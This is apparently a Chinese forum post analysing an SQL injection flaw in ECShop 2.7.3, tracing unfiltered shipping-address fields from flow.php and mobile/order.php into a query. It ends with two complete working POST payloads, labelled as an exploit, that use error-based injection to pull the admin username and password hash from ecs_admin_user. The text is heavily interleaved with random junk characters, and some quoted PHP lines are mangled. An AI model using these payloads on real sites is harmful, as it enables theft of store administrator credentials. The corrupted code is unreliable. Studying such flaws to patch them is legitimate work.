前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
/ [- r' A. y$ z8 J7 G0 @! n! F2 T) W( ~, z0 E
漏洞关键文件:) ]6 d J, }) [, X
z2 X8 v$ Z9 W# h
/includes/lib_order.php
/ d# V& q( ?5 W2 s$ c6 B) b4 {# J5 L" [, H8 h! l9 K/ @
关键函数:( ~- w, t& [8 i4 g* H* e. m# Z/ }
0 t0 `/ ]; C5 j: [' B/ d; v% k
& Q+ E/ [/ E! }
) N/ X9 w9 v% w6 h01 function available_shipping_list($region_id_list)
! l) ]/ F4 G( a9 [0 \: R
1 R8 v5 W$ u" l/ W' t4 t" M: i02 { 0 x2 |5 o" l/ b! Y& X
& T2 ]9 M" M# c( B03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . M, s1 s) U) x; T, m. |* M0 _
* s) {* }0 }) A, a9 G& [* x; @6 u" E
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
h1 `& V6 E3 K
2 j9 c3 t" N* K; p7 o4 r05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . , o1 N1 L/ W b( M+ K& Y
7 G9 E% ^" H( @7 x+ u7 y: [, `06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . / e4 Q' O9 p& v
# d5 a: Y! }4 d07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# H" i% v1 x3 {6 ?
: U( X" I2 ~% i" p08 'WHERE r.region_id ' . db_create_in($region_id_list) .
/ H$ p6 Q' K6 v! y0 j O
3 q( e, I# a1 `09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ N! V: M6 K+ h/ O. x
6 @5 v1 p# w6 H10
1 e+ L$ ?- r* e! o n9 z8 \! j1 j% d$ Y
11 return $GLOBALS['db']->getAll($sql);
2 e5 A! v. o! |3 ], P+ E
I! m# e; s- w" R' n12 }
; R7 C3 ^) C* X# V7 t
, i( S- Y/ P- n2 e显然对传入的参数没有任何过滤就带入了查询语句。/ X. w( B# i* r- { P
7 ]6 q! J* ?: q) P" b/ c/ G5 b下面我们追踪这个函数在flow.php中:
( D1 ]6 \% O4 }; J7 e 第531行:
3 Q" S# H4 Y! @ T6 C$ k4 S) g8 q9 X: j- P
1 $shipping_list = available_shipping_list($region);
! c2 }* _, k5 ]/ f9 x" ^0 f" m `0 D4 Q+ Q& e
& z4 g- E* ]" r" s3 h4 j
( _8 i3 p( t* ]5 j; H- Q
' V: m% S) p( L0 w+ L2 s$ `9 n8 ^6 t1 D2 p! Z4 K) y4 @
再对传入变量进行追踪:
$ `- _/ z5 P5 b9 w% G
; ?. Z8 K: P& M第530行: * P7 |: H! y0 a/ L4 U
6 u) s6 v3 ^8 [' E
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); + J" v0 C# Y1 U, N* a$ ?/ _
% ]% }4 R/ Z2 M7 ^$ a9 \+ F: Z
6 B$ ~5 E+ q: a% b4 O0 i. x- l) b4 G, k& n
4 a8 s! s# I E( P4 g- W. C. Z
' X8 C7 O- {1 e$ h第473行: 4 t: W/ y; e: A* Q( f
+ p p1 [# G9 Z/ D: z) u* e
1 $consignee = get_consignee($_SESSION['user_id']);
# ?# o- X6 d* s1 m# N) `/ I% i6 v k" J4 a: K' s
到了一个关键函数:
: N1 y$ U2 @! B! ^- ?; m7 O' p0 L9 k# E1 j$ B2 a( n0 g! w
/includes/lib_order.php6 A/ [4 x9 k: T8 ?) d
! g1 O0 V/ i/ n7 H, I# B
# h! o1 T7 r5 X$ ]
) f |! |4 t8 Y) r
+ T. f0 y/ m2 h
6 c0 R9 p2 V5 Z5 t
01 function get_consignee($user_id)
# |4 y5 @# i9 F9 g9 l% p( s
, h0 b& q9 p" W1 q+ u! l( s3 X02 { ! c) G' b# n8 \- l: k1 g/ a" U# m
' y# y' {- V: w! U* I( w8 K* T03 if (isset($_SESSION['flow_consignee'])) 8 r* j i3 ]! S5 p. t; c3 b+ z. z1 P& P
8 |% t0 _- ^" y: i/ ^- w+ K0 C
04 {
! u, X& {7 g; M* E' P, S x; W0 W# i. J" Q X4 g
05 /* 如果存在session,则直接返回session中的收货人信息 */ ' `0 Y$ I9 W, A _
6 u( j' y; I8 Q- d
06
+ a0 g6 u, x) M5 j# R5 ?9 N: l3 g) I1 p9 V
07 return $_SESSION['flow_consignee'];
# C- G* A! L3 F5 z: u' @; o/ {3 V$ U
( p: E, a+ @% u/ d! Z- S1 ]% t08 }
3 q9 }0 ?) r- a: J- [7 u
- W2 ]/ ~5 \3 i1 T4 E, {09 else
$ e# R- Y9 I! R. ]! t) I9 y' P
m" u3 i9 j) L* _ E) D9 p) X10 { + W! W' |' \; X8 b2 p
, C9 n& g2 i5 s, }, T4 B9 r
11 /* 如果不存在,则取得用户的默认收货人信息 */
) h# ?5 U; W# e7 d5 n+ F1 |' I6 V; p$ S- @7 U( G
12 $arr = array(); 0 H, Y& n# a3 y
8 V2 }* [2 I! s5 f2 W
13
4 P+ e$ A L5 S% v1 N/ r! y+ z! B2 L$ L1 t
14 if ($user_id > 0)
0 G! S1 B* J* D. s! K }! s( b# ^& a6 g8 W- g8 E2 _) ?4 B7 q2 ~
15 {
2 ~) @; R3 i3 Z. A8 q4 H- m. t9 t9 s6 x3 W& ?, z( m
16 /* 取默认地址 */
9 g* O1 f6 `. f6 x
) v7 v1 G$ U9 A" R. n17 $sql = "SELECT ua.*".
( l8 o& Z3 y3 `/ V9 M/ j
: z! W I0 ?3 ]" r5 d18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
* U& T' ]+ B7 f2 f- R" W) X* S/ t; D( B( i+ ^
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 0 G! J2 z& L5 Z6 s2 C/ h" h2 U% a
5 p. c2 F" d2 F+ Y7 a
20
~' H" s6 P# j. }$ D! e& m9 d+ F" Q0 ]0 H' c' G H0 f$ }
21 $arr = $GLOBALS['db']->getRow($sql);
4 r5 a% M$ X+ S2 ^ A% B4 n3 J; Z4 x' h" ]9 {& m* q
22 } 0 e2 R c# i' v; Z6 M: n& z2 d
, F4 X$ V! s5 f9 ]' V0 U+ ?/ `
23 * u$ {6 d# o k* {; c% y4 e
: C7 E9 N7 y. c- \0 A
24 return $arr; ( r7 y- u; e( J. _
5 X( P6 V6 r L/ J8 m) d
25 } 1 R' a( q# l! U, m& k
" R$ C4 r0 B# O6 i! R9 g( Y
26 }
! L( n" K: w' I! u; f/ y
- }9 u7 J" a7 ]$ M显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
( L$ k& ~/ A; {0 o1 L
" G3 `0 @) w6 H) u * ^6 k U/ F4 v2 A; ^; s, v6 K! l( R
+ I. }3 r2 h' w8 Q+ o8 [$ {6 @关键点:4 q! r3 z8 B% R* N: Z8 I( ~
7 z5 \/ `7 {0 M
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);/ J; z- ^ H, D @
2 ]/ ]7 R) b6 J% ?$ G这里对传入参数反转义存入$_SESSION中。
2 Q$ y3 Q7 T; B P
$ ~5 R$ G( w1 r1 H$ E9 O. n; z 3 d/ k( ?- F1 j) i8 [. h
$ n9 S2 }& P, F# z j/ K& Z
然后看下:; g: }+ I i! k
+ |- K& i3 T. p7 N2 Z! R7 ^5 n) e
- U9 d- n- Z4 d0 ]
2 O5 S1 v$ k$ F W: \* m: K. f8 s) [% m ; E/ o! s: {; z4 g+ B+ o# M
( U1 M2 o. y& u: e7 q$ t
01 $consignee = array(
e/ [9 n# Y5 v @# v; t+ v% E& i$ p8 y8 Q' _/ C3 F
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ; r8 Q$ c" x+ b$ z: X& {- y- l
" x8 @) z5 A: i# H# o
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ; N# W* m2 _ m) b4 s& K
% r4 \6 b4 u2 @$ g4 o) T) a04 'country' => empty($_POST['country']) ? '' _POST['country'],
0 _: C: z" Y( o9 Y* P; u! q9 v K3 @/ C+ Z8 w+ @* Z
05 'province' => empty($_POST['province']) ? '' _POST['province'], # o3 W- M: g3 S$ Q
5 h' O; H4 Y" ^# o \' s4 E" d; S7 Q06 'city' => empty($_POST['city']) ? '' _POST['city'], * \$ {; h8 |1 B& {4 ]5 C' o
. \. s4 v' t( i8 g& Q
07 'district' => empty($_POST['district']) ? '' _POST['district'],
: p6 S: m. |4 }( ]1 B* `; V0 ^, H' X I) H/ [0 M. @
08 'email' => empty($_POST['email']) ? '' _POST['email'], + ^, @, H! q: W7 l7 l: y
- V% c! [, k) V8 o7 f- w( m
09 'address' => empty($_POST['address']) ? '' _POST['address'], 5 P6 r! ?" H c8 Q
4 Y. J8 T% s' c1 O2 n10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
+ O& q- I" I$ F* i: b
7 I9 F3 Y* W0 V11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), + M8 a1 Y' b( }+ ^2 _
3 ~0 N( d6 z$ n
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
, ~. Y7 h0 a" A% }6 }2 Y- \( O2 d5 U1 ]! T' k8 y7 L! b
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 4 t6 P9 Y+ ?, A5 L: s9 S
* O$ X1 a2 N) `14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
% [6 Q/ e5 \) Z6 V% k2 J3 m
L: k* `* f }% _5 K( Z/ D15 );
; l, d% ]. v; |7 E- f- d* n3 B8 G6 I6 u X& |
好了注入就这样出现了。
! m; u' ]3 {0 b9 M) s8 v# |; [# A |$ H( d& y3 P
==================7 Q" b) V9 \6 A0 ^, g$ H
6 z; e2 F6 i, }3 V. o
注入测试:& J+ ~4 o8 i! n$ o" z
6 p/ a% S* P7 `: a" m
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
7 h5 z) v6 A+ e: D
$ G" C* T5 b3 _! T4 s3 x测试程序:ECShop_V2.7.3_UTF8_release1106
6 \" m. d2 ?7 m! W5 j, r, D1 G% T4 V( v- l9 q! v
. w/ |, `0 p% {9 l, ~
$ j3 K( v/ Q2 [# l, D1 B4 l2 C
1.首先需要点击一个商品加入购物车0 n a) j1 ~- B& o' R- j+ p" P: t
6 l6 [) j j& t" n( P0 E( z. g! p8 m2.注册一个会员帐号
Q) g, ^ |' \2 U7 d0 o2 }# K% I) G; B t7 b$ ~
3.post提交数据
9 ?9 g/ A8 e7 n8 W# {5 a. U5 F7 M8 X |& Y2 E: | m
* X& M) V7 N' J+ U0 o9 ^2 u
8 u- G( ^3 \" F" X
1 http://127.0.0.1/ecshop/flow.php
- `- D, R. n% Z/ z- U
; ]8 c% l; K1 k* T8 _2
( J6 X3 G' P; H) L2 F' v
# p. [& y5 }8 j0 N3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
, W" S% K: `" m举一反三,我们根据这个漏洞我们可以继续深入挖掘:# x& U8 j$ l8 [
& q- f( k6 N( L" ^; ~; G. _' S2 b
我们搜寻关键函数function available_shipping_list()! c. N, r3 L5 R! l/ k @/ H
9 V! b; ]1 z& _1 m \2 _- {- _
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
% P. s5 b4 p2 a/ N, u, j
8 A& e+ ^3 X* M$ l利用exp:
, ^4 |0 R: e* B. ^& o6 }
7 P4 w- H; |. y' e/ G+ G+ L1.点击一个商品,点击购买商标& j' G+ Y) f/ p" t
- F, ~( z, s" Q r
2.登录会员帐号
) J: S7 S/ ]" H2 ^4 `
" n) j$ ?, d2 A3.post提交:
. Q* y3 U v4 n& j) V, i7 {
5 Z! m; P& _/ ~7 p% xhttp://127.0.0.1/ecshop/mobile/order.php; v! `8 Y9 ` m) Z1 T
8 e; f% G! V6 Q' }3 u: O
8 M9 n5 V3 L' C3 x! A' s% B0 v/ N
, P* Y5 h: \1 `$ {/ D4 _country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
# c/ L5 W6 F. Q, P' J' q7 A$ t1 E* b" H) v
|